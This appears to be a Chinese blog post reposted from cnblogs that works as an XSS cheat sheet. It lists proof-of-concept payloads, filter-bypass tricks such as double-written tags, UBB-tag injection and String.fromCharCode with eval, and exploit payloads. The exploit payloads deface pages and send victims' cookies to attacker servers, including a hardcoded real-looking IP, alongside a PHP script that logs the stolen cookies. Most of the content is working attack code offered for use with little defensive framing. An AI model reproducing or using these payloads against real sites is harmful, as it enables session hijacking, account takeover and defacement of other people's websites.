zoukankan      html  css  js  c++  java
  • XSS漏洞的poc与exp

    poc

    • <script>alert('xss')</script>  最简单常用的poc
    • "><script>alert(1)<script>
    • <a href='' onclick=alert('xss')>type</a> 页面出现一个按钮type,点击触发onclick,然后执行弹窗
    • <img src=http://1.1.1.1/a.ipg onerror=alert('xss')> 加载图片,给一个错误的图片地址,错误则执行弹窗
    • <script>window.location=‘http://1.1.1.1'</script> 重定向到指定的url地址
    • <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe> 
    • onmouseover=alert(document.domain)    闭合属性,构造on事件
    • onmousemove=alert(1)
    • <input type=”text ”  onfocus=prompt(1) autofocus>

      利用input的autofocus属性,无需用户交互即可触发xss.

    • htmlspecialchars:输入常用符号,看哪些符号没被实体编码。
    • 如输入在herf或src里面:javascript:alert(1)
    • js输出,输入的数据由js变量接收,通过</script>闭合即可

    exp

    • <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS
      WEBSITE IS UNDER ATTACK</h1></div>";</script>

      • 篡改页面,将页面篡改为<h1></h1>里面显示的文字
    • <script>new Image().src="http://yourhost/getcookie.php?
      cookie="+document.cookie;</script>

      • 将别人登录的cookie信息捕获到自己的服务器上
      • 自己的服务器上编写一个接收cookie信息的php脚本getcookie.php
      • 此脚本将接收到的cookie信息写入到自动创建的txt文本cookie.txt里面
    • <script>document.location='http://47.99.184.173/getcookie.php?cookie='+document.cookie;</script>
      • 与上一个获取cookie信息的payload相似,相当于这是第二种获取cookie信息的exp
    • <script src=http://1.1.1.1/a.js></script>
      • 自己服务器上a,js的源码为:
      • var img = new Image();
        img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;
      • 获取cookie信息的第三种方式,这种方式的payload比较简短,便于很好的利用。
      • 这种间接的方式,可以适用于所有的exp,将攻击代码放在服务器上的一个js文件里面,然后再漏洞点利用<script>访问

    附上一个简短的getcookie.php脚本

    <?php
    $cookie = $_GET['cookie'];
    $log = fopen("cookie.txt", "w");
    fwrite($log, $cookie ."
    ");
    fclose($log);
    ?>

     绕过方法

    • 利用js双写或者大些小绕过:<scscriptript>alert(1)</scrscriptipt>
    • 利用input弹窗
      ' oninput=alert`1` //
      ' oninput=alert`1` '
      ' onchange=alert`1` //
      ' onchange=alert`1` '
    • 利用链接弹窗(a标签)<a href="javascript:alert(1)">click me</a> //

    • 利用html实体编码绕过
    • 利用换行绕过
    1. 转义字符:将xss语句转换为含有“”16进制或者8进制
      (工具地址:http://tools88.com/safe/xss.php)

    2. UBB标签:UBB标签是目前广泛运用到论坛,留言簿,以及其他网站系统的一种编码标签,类似[img]url[/img]这样的,用户在中间输入地址后即可,在发表的时候系统会自动改成<img src=”url”></img>。这个URL就是用户输入的图片地址,XSS攻击中,可以利用这个特点来达到无需用户输入<>就能执行由用户所输入的代码,我们只要在输入网址的地方输入:
      x"/**/onerror="alert('poruin')
      • 那么经过转换后就变成了<img src="x"/**/onerror="alert('poruin')"></img>

        在JS中空格可以用/**/转换,如图:

     

    3.JS还原函数

    JS中的编码还原函数最常用的就是String.fromCharCode了,这个函数用于ascii码的还原,一般来说,这个函数都要配合EVAL来使用才有效果。

    在跨站中,String.fromCharCode主要是使到一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用:

    <img src="x"/**/onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))"></img>

    XSS过滤绕过速查表:https://www.freebuf.com/articles/web/153055.html

    xss公共平台:http://xss.fbisb.com

      

  • 相关阅读:
    sqlserver 测试sql语句执行时间
    最大子数组问题(求连续子数组的最大和)
    字符、字节和编码
    Android 的数据存储——SharePreferences
    TCP、UDP原理及比较
    计算机常识——软件系统体系结构
    三个线程循环打印ABC10次的几种解决方法
    Analysis of Algorithms--preface
    Java native方法、JNI实例及常见错误分析
    随笔-2014-9-30
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11441672.html
Copyright © 2011-2022 走看看